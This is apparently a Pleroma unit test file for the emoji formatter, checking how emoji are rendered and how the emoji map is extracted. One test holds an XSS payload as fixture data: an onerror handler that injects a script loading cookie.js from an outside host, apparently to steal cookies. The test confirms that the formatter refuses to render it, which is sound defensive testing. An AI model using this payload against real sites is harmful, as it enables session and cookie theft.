logo

pleroma

My custom branche(s) on git.pleroma.social/pleroma/pleroma

formatter_test.exs (1639B)


  1. # Pleroma: A lightweight social networking server
  2. # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
  3. # SPDX-License-Identifier: AGPL-3.0-only
  4. defmodule Pleroma.Emoji.FormatterTest do
  5. alias Pleroma.Emoji.Formatter
  6. use Pleroma.DataCase
  7. describe "emojify" do
  8. test "it adds cool emoji" do
  9. text = "I love :firefox:"
  10. expected_result =
  11. "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
  12. assert Formatter.emojify(text) == expected_result
  13. end
  14. test "it does not add XSS emoji" do
  15. text =
  16. "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  17. custom_emoji =
  18. {
  19. "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
  20. "https://placehold.it/1x1"
  21. }
  22. |> Pleroma.Emoji.build()
  23. refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
  24. end
  25. end
  26. describe "get_emoji_map" do
  27. test "it returns the emoji used in the text" do
  28. assert Formatter.get_emoji_map("I love :firefox:") == %{
  29. "firefox" => "http://localhost:4001/emoji/Firefox.gif"
  30. }
  31. end
  32. test "it returns a nice empty result when no emojis are present" do
  33. assert Formatter.get_emoji_map("I love moominamma") == %{}
  34. end
  35. test "it doesn't die when text is absent" do
  36. assert Formatter.get_emoji_map(nil) == %{}
  37. end
  38. end
  39. end